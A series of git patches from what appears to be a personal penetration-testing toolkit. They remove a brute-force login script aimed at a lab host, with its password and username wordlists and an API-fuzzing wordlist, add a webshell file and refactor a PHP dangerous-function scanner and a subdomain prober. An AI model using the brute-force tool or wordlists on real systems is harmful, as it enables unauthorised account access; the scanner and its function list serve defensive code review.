c = c + 2 - # application/xml - HEADERS['Content-Type'] = 'application/xml' - resp = requests.put( - api_url + w, headers=HEADERS, data=XML_PAYLOAD) - print_response(api_url + w, http_method, - resp, " with XML payload") - - # application/json - HEADERS['Content-Type'] = 'application/json' - resp = requests.put( - api_url + w, headers=HEADERS, data=JSON_PAYLOAD) - print_response(api_url + w, http_method, - resp, " with JSON payload") - - print "[+] done! Total {} requests send.\n\n".format(c) - - -def main(): - [wordlist, get_params] = prepare_dictonaries() - enumerated_endpoints = enumerate_endpoints(api_url, wordlist) - send_requests(enumerated_endpoints, get_params) - - -if __name__ == "__main__": - main() diff --git a/apibreaker/endpoints.txt b/apibreaker/endpoints.txt deleted file mode 100644 index d67adad..0000000 --- a/apibreaker/endpoints.txt +++ /dev/null @@ -1,174 +0,0 @@ -0 -1 -1.0 -2 -2.0 -3 -3.0 -4 -4.0 -5 -5.0 -6 -6.0 -7 -7.0 -8 -8.0 -9 -9.0 -about -access -account -accounts -activate -add -address -admin -admins -advanced -advanced_search -alert -all -api -apps -attach -auth -authentication -authtoken -billing -bugs -build -buy -cart -change -check -checkout -client -clients -comment -comments -connect -contact -create -data -date -deactivate -delete -details -dev -disable -doc -docs -download -edit -editor -email -emails -enable -feed -feeds -friend -friends -fundingsources -get -group -help -id -info -information -ip -key -log -login -logon -mail -manage -me -members -metadata -modify -new -no -notes -notification -notifications -number -order -organizations -page -pages -password -photo -photos -ping -preview -profile -purchase -questions -record -records -register -remove -report -reports -reset -result -results -retrieve -return -review -search -Search -send -server -Server -session -sessions -set -settings -shell -show -sign -signin -sign-in -SPUser -src -SSoAuthLoginResponse -SsoFederation -SsoIdentityProvider -stat -stats -StorageAuthToken -StorePoint -summary -support -supporttickets -targets -tickets -token -tokens -update -upload -uploads -usage -user -userinfo -userip -users -v0 -v1 -v10 -v2 -v3 -v4 -v5 -v6 -v7 -v8 -v9 -validate -verify -view -vulnerabilities -widget diff --git a/apibreaker/params.txt b/apibreaker/params.txt deleted file mode 100644 index 49a6140..0000000 --- a/apibreaker/params.txt +++ /dev/null @@ -1,292 +0,0 @@ -topic -title -head -foot -high -low -higher -lower -width -height -add -result -res -top -bottom -middle -center -line -log -demo -example -message -msg -from -past -forward -charset -charsout -checkbox -checked -checkemail -chromeless -chunk -chunks -ci -check -deactivate -debug -_debug -decrypt_key -default_password_nag -delete -deletebookmarks -deletecomment -delete_count -deleted -deletemeta -deletepost -delete_remote -delete_widget -demo -description -host -hostname -lid -limit -line -link -link_cat -linkcheck -link_id -link_image -link_name -link_rss -link_text -linkurl -link_url -link_visible -list_args -liveupdate -me -media_type -menu -message -meta -metakeyinput -metakeyselect -metavalue -method -_method -p -pa -page -_page -page_author -page_columns -paged -page_end_date -page_id -pagenow -page_options -page_start_date -page_status -par -para -parent -pointer -position -post -post_author -post_category -post_content -posted -post_end_date -post_format -postid -post_id -post_ID -post_mime_type -post_password -post_start_date -post_status -post_title -post_type -prefix -preview -previewed -preview_id -preview_nonce -primary_blog -private_key -ps -pt -pu -public_key -publish -pv -pval -pw -pwd -re -redir -redirect -redirect_to -redirecturi -redirect_uri -redirecturl -redirect_url -redir_uri -redir_url -ref -referredby -referrer -region -registration -rememberme -remotescan -removeheader -removewidget -repair -replytocom -res -rescan -reset_hash -resetheader -restrict -result -ret -returl -return -_return -return_to -revision -rf -rg -rh -ri -rich_editing -rid -sa -sanitized_widget_setting -save -_saveandclosedok_x -saveandclosedok_x -_savedoknew_x -_savedokview_x -_savedok_x -savedok_x -savewidget -savewidgets -sb -sc -screen -screen_id -sd -se -search -securityToken -selection -send -send_password -server -sf -sg -sh -shortcode -si -sid -sidebar -sidebars -signup_for -_signup_form -signup_form_id -stage -state -status -step -sticky -stylesheet -su -subaction -subdomain_install -submit -success -super_admin -sv -sw -sword_list -sx -sy -sz -t -ta -tab -tag_base -tag_ID -tax -tenant -test -testcookie -text -tf -tg -th -theme -themes -thisjobonly -thumb -thumbnail_id -ti -tid -time_format -time_format_custom -timestamp -timezone_string -title -uname -undismiss -unspam -untrash -untrashed -uo -up -update -updated -updraft_encryptionphrase -updraftplus_backup_nonce -updraftplus_dropboxauth -updraftplus_file -updraftplus_googleauth -updraft_restore -updraft_restorer_wpcore_includewpconfig -updraft_restore_success -upgrade -uq -ur -uri -url -_url -urls -us -user -user_email -userid -user_id -user_login -username -user_name -wid -widget -widget_id -widget_number -width -wp -_wp_http_referer -WPLANG -wp_nav_menu_args -wp_nav_menu_args_hash -wpnonce -_wpnonce -wp_screen_options -_wp_unfiltered_html_comment diff --git a/brutus/README.md b/brutus/README.md deleted file mode 100644 index b93b957..0000000 --- a/brutus/README.md +++ /dev/null @@ -1,11 +0,0 @@ -## brutus - -This script executes login dictionary and/or bruteforce attacks - -[TBD] - -### Usage: - -``` -$ ./brutus.py -``` \ No newline at end of file diff --git a/brutus/brutus.py b/brutus/brutus.py deleted file mode 100755 index 5a5bc4d..0000000 --- a/brutus/brutus.py +++ /dev/null @@ -1,100 +0,0 @@ -#!/usr/bin/python -# -# Brute force attacker -# bl4de | bloorq@gmail.com | Twitter: @_bl4de -# -import argparse -import socket - - -def create_socket(host, port): - """creates and returns socket""" - connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - connection.connect((host, port)) - return connection - - -def send_request(target, payload, response_size=4096): - """sends payload to target and returns response""" - target.send(payload) - response = target.recv(response_size) - return response - - -def create_http_request(path, host, payload_len, method="POST"): - template = "{} /{} HTTP/1.1\r\nHost: {}\r\n" \ - "Content-Type: application/x-www-form-urlencoded\r\n" \ - "Content-Length: {}\r\n\r\n".format(method, path, host, - payload_len) - return template - - -def single_try(user, passwd, method, counter): - user = user.strip() - passwd = passwd.strip() - print "[*] Trying {}:{}... ({})".format(user, passwd, counter) - - # create POST payload - payload = "user={}&pass={}&submit=Login".format(user, passwd) - payload_len = len(payload) - - # create request - # pwnlab = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - # pwnlab.connect(("192.168.1.2", 80)) - pwnlab = create_socket("192.168.1.2", 80) - - req = create_http_request("?page=login", "192.168.1.2", payload_len, method) - req += payload + "\r\n\r\n" - - # send request and check response - resp = send_request(pwnlab, req) - - counter += 1 - if args.e not in resp: - print "[+] Login sucessful !!!" - exit("{}:{}".format(user, passwd)) - - -# @TODO: option to define success pattern, multi-threading - - -if __name__ == "__main__": - """main program - run HTML analyze""" - parser = argparse.ArgumentParser(description=""" - Brutus.py - dictionary and bruteforce credentials attack tool - - """) - - parser.add_argument('-t', help='IP or URL of the target') - parser.add_argument('-s', help='service to be attacked (HTTP, FTP, SSH)') - parser.add_argument('-m', - help="additional parameter, eg . HTTP method (GET/POST)") - parser.add_argument('-r', help='service TCP port') - parser.add_argument('-e', help='error message to recognize failed attempt') - parser.add_argument('-p', help='file with passwords list') - parser.add_argument('-u', help='file with usernames list') - - args = parser.parse_args() - passwords = [] - usernames = [] - - if args.u: - usernames = open(args.U, "r").readlines() - if args.p: - passwords = open(args.P, "r").readlines() - if args.m: - method = args.m - counter = 1 - - if len(passwords) > 0 and len(usernames) > 0: - print "[*] Will try {} credentials, hold on...".format( - len(usernames) * len(passwords)) - for user in usernames: - for passwd in passwords: - single_try(user, passwd, method, counter) - counter += 1 - - print "[-] All done, valid credentials not found :(" - else: - print "[-] No usernames and/or passwords provided, exiting..." - exit(0) diff --git a/brutus/passwords_100.txt b/brutus/passwords_100.txt deleted file mode 100644 index 62665d7..0000000 --- a/brutus/passwords_100.txt +++ /dev/null @@ -1,119 +0,0 @@ -0000 -000000 -1111 -111111 -123 -123123 -123321 -1234 -12345 -123456 -123456 -1234567 -12345678 -123456789 -1234567890 -123qaz -123qwe -1a2b3c -1q2w3e -1q2w3e4r -1q2w3e4r5t -1qaz2wsx -54321 -654321 -Password -Password -a -aaa -abc -abc123 -abcd1234 -adam -admin -admin1 -admin123 -administrator -adrian -alex -apache -asdfgh -backup -changeme -daemon -david -debian -fedora -ftp -ftpguest -ftpuser -gdm -guest -informix -internet -john -letmein -linux -mail -manager -marketing -master -michael -mysql -mythtv -nagios -netdump -office -oracle -oracle123 -p@ssw0rd -pa55w0rd -pass -pass123 -passw0rd -passwd -password -password1 -password123 -paul -postgres -q1w2e3r4 -qazwsx -qwerty -qwertyuiop -r00t -redhat -roor -root -root1 -root123 -root1234 -rootroot -samba -secret -server -server -shell -spam -student -students -sunos -support -teamspeak -test -test123 -test2 -tester -testing -user -user1 -user123 -users -usuario -uucp -webadmin -webmaster -welcome -www-data -wwwrun -zxcvbnm diff --git a/brutus/usernames_14.txt b/brutus/usernames_14.txt deleted file mode 100644 index 697e486..0000000 --- a/brutus/usernames_14.txt +++ /dev/null @@ -1,14 +0,0 @@ -admin -administrator -company -corp -mysql -oracle -root -test -testing -user -webmaster -www-data -dev -developer \ No newline at end of file diff --git a/ds-store-parser.py b/ds-store-parser.py deleted file mode 100644 index 3c87afd..0000000 --- a/ds-store-parser.py +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/python - -# DS_Store file parser - -ds_store_file = open('DS_Store','b') - -print ds_store_file \ No newline at end of file From f05e3e7f7e90a7b1ad4f5e12faee254a7ff55f7d Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 11 Feb 2019 20:32:25 +0000 Subject: [PATCH 044/460] some cleanup --- .../JSReverseShellGenerator.py | 0 linenum.sh => __not_mine/linenum.sh | 0 baser.py | 37 ----------- decode | 1 - sitemap.py | 62 ------------------- 5 files changed, 100 deletions(-) rename JSReverseShellGenerator.py => __not_mine/JSReverseShellGenerator.py (100%) rename linenum.sh => __not_mine/linenum.sh (100%) delete mode 100755 baser.py delete mode 100644 decode delete mode 100755 sitemap.py diff --git a/JSReverseShellGenerator.py b/__not_mine/JSReverseShellGenerator.py similarity index 100% rename from JSReverseShellGenerator.py rename to __not_mine/JSReverseShellGenerator.py diff --git a/linenum.sh b/__not_mine/linenum.sh similarity index 100% rename from linenum.sh rename to __not_mine/linenum.sh diff --git a/baser.py b/baser.py deleted file mode 100755 index e8b9bcd..0000000 --- a/baser.py +++ /dev/null @@ -1,37 +0,0 @@ -#!/usr/bin/env python - -### created by bl4de | bloorq@gmail.com | twitter.com/_bl4de ### -### github.com/bl4de | hackerone.com/bl4de ### - -import sys -import base64 - -DESC = """ -baser.py - decode base64 file to plaintext -usage: ./baser.py [path_to_file_in_base64] - -""" - - -def usage(): - """ - displays usage message - """ - print DESC - exit(0) - - -def main(fname): - """ - decodes from Base64 - """ - __file = open(fname, 'r').read() - print "{}".format(base64.b64decode(__file.strip())) - - -if __name__ == "__main__": - if len(sys.argv) == 2: - ARGS = sys.argv[1:] - main(ARGS[0]) - else: - usage() diff --git a/decode b/decode deleted file mode 100644 index 5a599a8..0000000 --- a/decode +++ /dev/null @@ -1 +0,0 @@ -DOMFBGDxBc9xK7seJjwbgRcfGUMjatIzbXRAY4nKJan2KJgKx6nM9g== diff --git a/sitemap.py b/sitemap.py deleted file mode 100755 index 1eb77f0..0000000 --- a/sitemap.py +++ /dev/null @@ -1,62 +0,0 @@ -#! /usr/bin/env python -from bs4 import BeautifulSoup -import sys -import requests -import urlparse - - -def get_sitemap(url): - get_url = requests.get(url) - if get_url.status_code == 200: - return get_url.text - else: - print('Unable to fetch sitemap: %s.' % url) - - -def process_sitemap(s): - soup = BeautifulSoup(s, 'lxml') - result = [] - - for loc in soup.findAll('loc'): - result.append(loc.text) - - return result - - -def is_sub_sitemap(url): - parts = urlparse.urlparse(url) - if parts.path.endswith('.xml') and 'sitemap' in parts.path: - return True - else: - return False - - -def parse_sitemap(s): - sitemap = process_sitemap(s) - result = [] - - while sitemap: - candidate = sitemap.pop() - - if is_sub_sitemap(candidate): - sub_sitemap = get_sitemap(candidate) - for i in process_sitemap(sub_sitemap): - sitemap.append(i) - else: - result.append(candidate) - - return result - - -def main(): - sitemap = get_sitemap(sys.argv[1]) - - url_count = 0 - for url in parse_sitemap(sitemap): - url_count += 1 - print("%5d) %s" % (url_count, url)) - print("-end-of-list-") - - -if __name__ == '__main__': - main() From 68c509cb69dfae593e174b34e99613d74cf4827e Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 11 Mar 2019 22:52:33 +0000 Subject: [PATCH 045/460] refactoring; small improvements [denumerator.py] --- .gitignore | 1 + denumerator/denumerator.py | 34 +++++++++++++++++++++++++++------- webshells/webshell.php | 1 + 3 files changed, 29 insertions(+), 7 deletions(-) create mode 100644 webshells/webshell.php diff --git a/.gitignore b/.gitignore index b2093e4..3ca1750 100644 --- a/.gitignore +++ b/.gitignore @@ -12,3 +12,4 @@ sword/OUTPUT *.pyc *.log +denumerator_output.txt diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 76677ef..8f32ac0 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -23,13 +23,32 @@ $ ./denumerator.py -f DOMAINS_LIST -t 5 """ + +colors = { + "white": '\33[37m', + 500: '\33[31m', + 200: '\33[32m', + 302: '\33[33m', + 304: '\33[33m', + 302: '\33[33m', + 401: '\33[94m', + 403: '\33[94m', + 404: '\33[94m', + "magenta": '\33[35m', + "cyan": '\33[36m', + "grey": '\33[90m', + "lightgrey": '\33[37m', + "lightblue": '\33[94' +} + requests.packages.urllib3.disable_warnings() allowed_http_responses = [200, 302, 304, 401, 404, 403, 500] -output_file = open(sys.argv[1] + '_denumerator_output.txt', 'w+') +output_file = open('denumerator_output.txt', 'w+') timeout = 2 + def usage(): """ prints welcome message @@ -52,8 +71,9 @@ def send_request(proto, domain, output_file): headers={'Host': domain}) if resp.status_code in allowed_http_responses: - print '[+] domain {}:\t\t HTTP {}'.format(domain, resp.status_code) - output_file.write('HTTP Response: {}\t\t{}\n'.format( + print '[+] {}HTTP {}{}:\t {}'.format( + colors[resp.status_code], resp.status_code, colors['white'], domain) + output_file.write('HTTP Response: {}\t{}\n'.format( resp.status_code, domain)) output_file.flush() return resp.status_code @@ -85,15 +105,16 @@ def enumerate_domains(domains, output_file): else: pass + def main(): - + parser = argparse.ArgumentParser() parser.add_argument( "-f", "--file", help="File with list of hostnames") parser.add_argument( "-t", "--timeout", help="Max. request timeout (default = 2)") - + args = parser.parse_args() if args.timeout: timeout = args.timeout @@ -104,6 +125,5 @@ def main(): output_file.close() - if __name__ == "__main__": - main() \ No newline at end of file + main() diff --git a/webshells/webshell.php b/webshells/webshell.php new file mode 100644 index 0000000..08fc995 --- /dev/null +++ b/webshells/webshell.php @@ -0,0 +1 @@ + \ No newline at end of file From b3a2f825d2970162e25f58f2425a3d3f6b9a7c01 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 11 Mar 2019 22:57:55 +0000 Subject: [PATCH 046/460] [denumerator] -s to hide/show all responses including exceptions --- denumerator/denumerator.py | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 8f32ac0..681e254 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -79,7 +79,7 @@ def send_request(proto, domain, output_file): return resp.status_code -def enumerate_domains(domains, output_file): +def enumerate_domains(domains, output_file, show=False): """ enumerates domain from domains """ @@ -92,16 +92,21 @@ def enumerate_domains(domains, output_file): send_request('https', d, output_file) except requests.exceptions.InvalidURL: - print '[-] {} is not a valid URL :/'.format(d) + if show is True: + print '[-] {} is not a valid URL :/'.format(d) except requests.exceptions.ConnectTimeout: - print '[-] {} :('.format(d) + if show is True: + print '[-] {} :('.format(d) continue except requests.exceptions.ConnectionError: - print '[-] connection to {} aborted :/'.format(d) + if show is True: + print '[-] connection to {} aborted :/'.format(d) except requests.exceptions.ReadTimeout: - print '[-] {} read timeout :/'.format(d) + if show is True: + print '[-] {} read timeout :/'.format(d) except requests.exceptions.TooManyRedirects: - print '[-] {} probably went into redirects loop :('.format(d) + if show is True: + print '[-] {} probably went into redirects loop :('.format(d) else: pass @@ -114,14 +119,17 @@ def main(): "-f", "--file", help="File with list of hostnames") parser.add_argument( "-t", "--timeout", help="Max. request timeout (default = 2)") + parser.add_argument( + "-s", "--success", help="Show all responses, including exceptions") args = parser.parse_args() if args.timeout: timeout = args.timeout + show = True if args.success else False domains = open(args.file, 'rw').readlines() - enumerate_domains(domains, output_file) + enumerate_domains(domains, output_file, show) output_file.close() From fedaeb0fa21c5e09f9c7f7dfd874ae25fd013ef5 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 11 Mar 2019 23:04:49 +0000 Subject: [PATCH 047/460] [denumerator] Pass output file as an argument --- denumerator/denumerator.py | 25 ++++++++++++++++++------- 1 file changed, 18 insertions(+), 7 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 681e254..1c702f4 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -42,10 +42,7 @@ } requests.packages.urllib3.disable_warnings() - allowed_http_responses = [200, 302, 304, 401, 404, 403, 500] - -output_file = open('denumerator_output.txt', 'w+') timeout = 2 @@ -73,9 +70,11 @@ def send_request(proto, domain, output_file): if resp.status_code in allowed_http_responses: print '[+] {}HTTP {}{}:\t {}'.format( colors[resp.status_code], resp.status_code, colors['white'], domain) - output_file.write('HTTP Response: {}\t{}\n'.format( - resp.status_code, domain)) - output_file.flush() + + if output_file: + output_file.write('{}\n'.format(domain)) + output_file.flush() + return resp.status_code @@ -121,16 +120,28 @@ def main(): "-t", "--timeout", help="Max. request timeout (default = 2)") parser.add_argument( "-s", "--success", help="Show all responses, including exceptions") + parser.add_argument( + "-o", "--output", help="Path to output file") args = parser.parse_args() if args.timeout: timeout = args.timeout + if args.output: + output_file = open(args.output, 'w+') + else: + output_file = False + + # set options show = True if args.success else False domains = open(args.file, 'rw').readlines() + # main loop enumerate_domains(domains, output_file, show) - output_file.close() + + # close output file + if args.output: + output_file.close() if __name__ == "__main__": From 7a7dc6edbf73ba62d7d91802d6e5464abe2965cd Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 13 Mar 2019 00:19:21 +0000 Subject: [PATCH 048/460] [pef] some new goodies --- pef/imports/pefdefs.py | 73 +++++++++++++++++++++++++++++++++++++++++- 1 file changed, 72 insertions(+), 1 deletion(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index ac47cfa..c22e5dd 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -5,7 +5,78 @@ "eval(", "preg_replace(", "create_function(", "include(", "require(", "passthru(", "shell_exec(", "popen(", "proc_open(", "pcntl_exec(", "asset(", "extract(", "parse_str(", "putenv(", "ini_set(", - "mail(", "header(", "unserialize("] + "mail(", "header(", "unserialize(", "apache_child_terminate(", + "apache_get_modules(", + "apache_note(", + "apache_setenv(", + "define_syslog_variables(", + "disk_free_space(", + "disk_total_space(", + "diskfreespace(", + "dl(", + "escapeshellarg(", + "escapeshellcmd(", + "exec(", + "extract(", + "get_cfg_var(", + "get_current_user(", + "getcwd(", + "getenv(", + "getlastmo(", + "getmygid(", + "getmyinode(", + "getmypid(", + "getmyuid(", + "ini_restore(", + "ini_set(", + "passthru(", + "pcntl_alarm(", + "pcntl_exec(", + "pcntl_fork(", + "pcntl_get_last_error(", + "pcntl_getpriority(", + "pcntl_setpriority(", + "pcntl_signal(", + "pcntl_signal_dispatch(", + "pcntl_sigprocmask(", + "pcntl_sigtimedwait(", + "pcntl_sigwaitinfo(", + "pcntl_strerrorp(", + "pcntl_wait(", + "pcntl_waitpid(", + "pcntl_wexitstatus(", + "pcntl_wifexited(", + "pcntl_wifsignaled(", + "pcntl_wifstopped(", + "pcntl_wstopsig(", + "pcntl_wtermsig(", + "php_uname(", + "phpinfo(", + "popen(", + "posix_getlogin(", + "posix_getpwuid(", + "posix_kill(", + "posix_mkfifo(", + "posix_setpgid(", + "posix_setsid(", + "posix_setuid(", + "posix_ttyname(", + "posix_uname(", + "posixc(", + "proc_close(", + "proc_get_status(", + "proc_nice(", + "proc_open(", + "proc_terminate(", + "ps_aux(", + "putenv(", + "readlink(", + "runkit_function_rename(", + "shell_exec(", + "show_source(", + "symlink(", + "syslog(", + "system("] # exploitable functions description # needs to have closing bracket ), bc this is how pattern is passed to function From 406352a686fe1f7d64b59e3e4911307c8011a8e1 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 27 Mar 2019 18:28:14 +0000 Subject: [PATCH 049/460] some changes --- pef/pef.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index d4fc080..1326fef 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -33,11 +33,12 @@ def printcodeline(_line, i, _fn, _message): """ print ":: line %d :: \33[33;1m%s\33[0m %s found " % (i, _fn, _message) if _fn and pefdefs.exploitableFunctionsDesc.has_key(_fn): - print "\t\t" + beautyConsole.getColor("white") + pefdefs.exploitableFunctionsDesc.get(_fn) + beautyConsole.getSpecialChar("endline") + print "\t\t" + beautyConsole.getColor("white") + pefdefs.exploitableFunctionsDesc.get( + _fn) + beautyConsole.getSpecialChar("endline") - print beautyConsole.getColor("grey") + _line + beautyConsole.getSpecialChar("endline") + print beautyConsole.getColor("grey") + _line + \ + beautyConsole.getSpecialChar("endline") - def main(src): """ @@ -49,7 +50,8 @@ def main(src): filenamelength = len(src) linelength = 97 - print "-" * 14, " FILE: \33[33m%s\33[0m " % src, "-" * (linelength - filenamelength - 21), "\n" + print "FILE: \33[33m%s\33[0m " % src, "-" * \ + (linelength - filenamelength - 21), "\n" for _line in _file: i += 1 @@ -77,7 +79,7 @@ def main(src): if total < 1: print beautyConsole.getColor("green") + \ - "No exploitable functions found\n" + \ + "No exploitable functions found" + \ beautyConsole.getSpecialChar("endline") else: print beautyConsole.getColor("red") + \ From ec2be650dde809e072ae823f22058e1d5bfc6ef7 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 4 Apr 2019 08:26:14 +0100 Subject: [PATCH 050/460] refactoring [pef.py] --- pef/imports/pefdefs.py | 3 +-- pef/pef.py | 8 ++++---- 2 files changed, 5 insertions(+), 6 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index c22e5dd..3a4fb11 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -72,11 +72,10 @@ "putenv(", "readlink(", "runkit_function_rename(", - "shell_exec(", "show_source(", "symlink(", "syslog(", - "system("] + ] # exploitable functions description # needs to have closing bracket ), bc this is how pattern is passed to function diff --git a/pef/pef.py b/pef/pef.py index 1326fef..39dfd22 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -50,8 +50,8 @@ def main(src): filenamelength = len(src) linelength = 97 - print "FILE: \33[33m%s\33[0m " % src, "-" * \ - (linelength - filenamelength - 21), "\n" + print "FILE: \33[33m%s\33[0m " % os.path.realpath(_file.name), "-" * \ + (linelength - filenamelength - 63), "\n" for _line in _file: i += 1 @@ -67,12 +67,12 @@ def main(src): printcodeline(_line, i, _dp + '()', beautyConsole.fiMsgFound) for _global in pefdefs.globalVars: - if _global in __line: + if _global in __line.replace(" ", ""): total += 1 printcodeline(_line, i, _global, beautyConsole.efMsgGlobalFound) for _refl in pefdefs.reflectedProperties: - if _refl in __line: + if _refl in __line.replace(" ", ""): total += 1 printcodeline(_line, i, _refl, beautyConsole.eReflFound) From 59c959a746715874450fe9fe99736108e8ae0243 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 6 Apr 2019 01:50:41 +0100 Subject: [PATCH 051/460] display prev and next lines around vulnerable line of code [pef.py] --- pef/imports/beautyConsole.py | 4 +-- pef/pef.py | 48 ++++++++++++++++++++++++++++-------- pef/test.php | 6 +++++ 3 files changed, 46 insertions(+), 12 deletions(-) create mode 100644 pef/test.php diff --git a/pef/imports/beautyConsole.py b/pef/imports/beautyConsole.py index ceb9886..0583284 100755 --- a/pef/imports/beautyConsole.py +++ b/pef/imports/beautyConsole.py @@ -2,15 +2,15 @@ class beautyConsole: """This class defines properties and methods to manipulate console output""" colors = { "black": '\33[30m', - "white": '\33[37m', "red": '\33[31m', "green": '\33[32m', "yellow": '\33[33m', "blue": '\33[34m', "magenta": '\33[35m', "cyan": '\33[36m', + "white": '\33[37m', "grey": '\33[90m', - "lightblue": '\33[94' + "lightblue": '\33[94m' } characters = { diff --git a/pef/pef.py b/pef/pef.py index 39dfd22..9b98bda 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -27,7 +27,7 @@ def banner(): print "-" * 100, "\33[0m\n" -def printcodeline(_line, i, _fn, _message): +def printcodeline(_line, i, _fn, _message, prev_line="", next_line="", prev_prev_line="", next_next_line=""): """ Formats and prints line of output """ @@ -36,8 +36,22 @@ def printcodeline(_line, i, _fn, _message): print "\t\t" + beautyConsole.getColor("white") + pefdefs.exploitableFunctionsDesc.get( _fn) + beautyConsole.getSpecialChar("endline") - print beautyConsole.getColor("grey") + _line + \ + print "\n" + if prev_prev_line: + print str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + \ + beautyConsole.getSpecialChar("endline") + if prev_line: + print str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + \ + beautyConsole.getSpecialChar("endline") + print str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + \ beautyConsole.getSpecialChar("endline") + if next_line: + print str(i+1) + " " + beautyConsole.getColor("grey") + next_line + \ + beautyConsole.getSpecialChar("endline") + if next_next_line: + print str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + \ + beautyConsole.getSpecialChar("endline") + print "\n" def main(src): @@ -49,33 +63,47 @@ def main(src): total = 0 filenamelength = len(src) linelength = 97 + all_lines = _file.readlines() + + prev_prev_line = "" + prev_line = "" + next_line = "" + next_next_line = "" + + print "FILE: \33[33m%s\33[0m " % os.path.realpath(_file.name), "\n" - print "FILE: \33[33m%s\33[0m " % os.path.realpath(_file.name), "-" * \ - (linelength - filenamelength - 63), "\n" + for _line in all_lines: + if i > 2: + prev_prev_line = all_lines[i - 2].rstrip() + if i > 1: + prev_line = all_lines[i - 1].rstrip() + if i < (len(all_lines) - 1): + next_line = all_lines[i + 1].rstrip() + if i < (len(all_lines) - 2): + next_next_line = all_lines[i + 2].rstrip() - for _line in _file: i += 1 __line = _line.strip() for _fn in pefdefs.exploitableFunctions: if _fn in __line.replace(" ", ""): total += 1 printcodeline(_line, i, _fn + ')', - beautyConsole.efMsgFound) + beautyConsole.efMsgFound, prev_line, next_line, prev_prev_line, next_next_line) for _dp in pefdefs.fileInclude: if _dp in __line.replace(" ", ""): total += 1 printcodeline(_line, i, _dp + '()', - beautyConsole.fiMsgFound) + beautyConsole.fiMsgFound, prev_line, next_line, prev_prev_line, next_next_line) for _global in pefdefs.globalVars: if _global in __line.replace(" ", ""): total += 1 printcodeline(_line, i, _global, - beautyConsole.efMsgGlobalFound) + beautyConsole.efMsgGlobalFound, prev_line, next_line, prev_prev_line, next_next_line) for _refl in pefdefs.reflectedProperties: if _refl in __line.replace(" ", ""): total += 1 printcodeline(_line, i, _refl, - beautyConsole.eReflFound) + beautyConsole.eReflFound, prev_line, next_line, prev_prev_line, next_next_line) if total < 1: print beautyConsole.getColor("green") + \ @@ -83,7 +111,7 @@ def main(src): beautyConsole.getSpecialChar("endline") else: print beautyConsole.getColor("red") + \ - "Found %d exploitable functions total\n" % (total) + \ + "Found %d exploitable function(s)\n" % (total) + \ beautyConsole.getSpecialChar("endline") print beautyConsole.getColor("white") + "-" * 100 diff --git a/pef/test.php b/pef/test.php new file mode 100644 index 0000000..3b8043b --- /dev/null +++ b/pef/test.php @@ -0,0 +1,6 @@ + Date: Sun, 7 Apr 2019 01:57:52 +0100 Subject: [PATCH 052/460] prev/next lines [nodestructor] --- nodestructor/nodestructor.py | 30 +++++++++++++++++++++++------- 1 file changed, 23 insertions(+), 7 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 827e65f..f64feec 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -165,14 +165,29 @@ def show_banner(): print beautyConsole.getColor("white") -def printcodeline(_line, i, _fn, _message): +def printcodeline(_line, i, _fn, _message, _code=[]): """ Formats and prints line of output """ _fn = _fn.replace("*", "").replace("\\", "").replace(".(", '(')[0:len(_fn)] - print ":: line %d :: \33[33;1m%s\33[0m %s " % (i, _fn, _message) - print beautyConsole.getColor("green") + '\n\t' + _line.lstrip() + \ + print "\n:: line %d :: \33[33;1m%s\33[0m %s \n" % (i, _fn, _message) + + if i > 3: + print str(i - 3) + ' ' + beautyConsole.getColor("grey") + _code[i-3].rstrip() + \ + beautyConsole.getSpecialChar("endline") + if i > 2: + print str(i - 2) + ' ' + beautyConsole.getColor("grey") + _code[i-2].rstrip() + \ + beautyConsole.getSpecialChar("endline") + + print str(i) + ' ' + beautyConsole.getColor("green") + _line.rstrip() + \ beautyConsole.getSpecialChar("endline") + + if i < len(_code) - 1: + print str(i + 1) + ' ' + beautyConsole.getColor("grey") + _code[i+1].rstrip() + \ + beautyConsole.getSpecialChar("endline") + if i < len(_code) - 2: + print str(i + 2) + ' ' + beautyConsole.getColor("grey") + _code[i+2].rstrip() + \ + beautyConsole.getSpecialChar("endline") def process_files(subdirectory, sd_files, pattern=""): @@ -214,10 +229,11 @@ def perform_code_analysis(src, pattern=""): print_filename = True _file = open(src, "r") + _code = _file.readlines() i = 0 patterns_found_in_file = 0 - for _line in _file: + for _line in _code: i += 1 __line = _line.strip() for __pattern in PATTERNS: @@ -228,8 +244,8 @@ def perform_code_analysis(src, pattern=""): print "FILE: \33[33m{}\33[0m\n".format(src) print_filename = False patterns_found_in_file += 1 - printcodeline(_line[0:120] + "...", i, 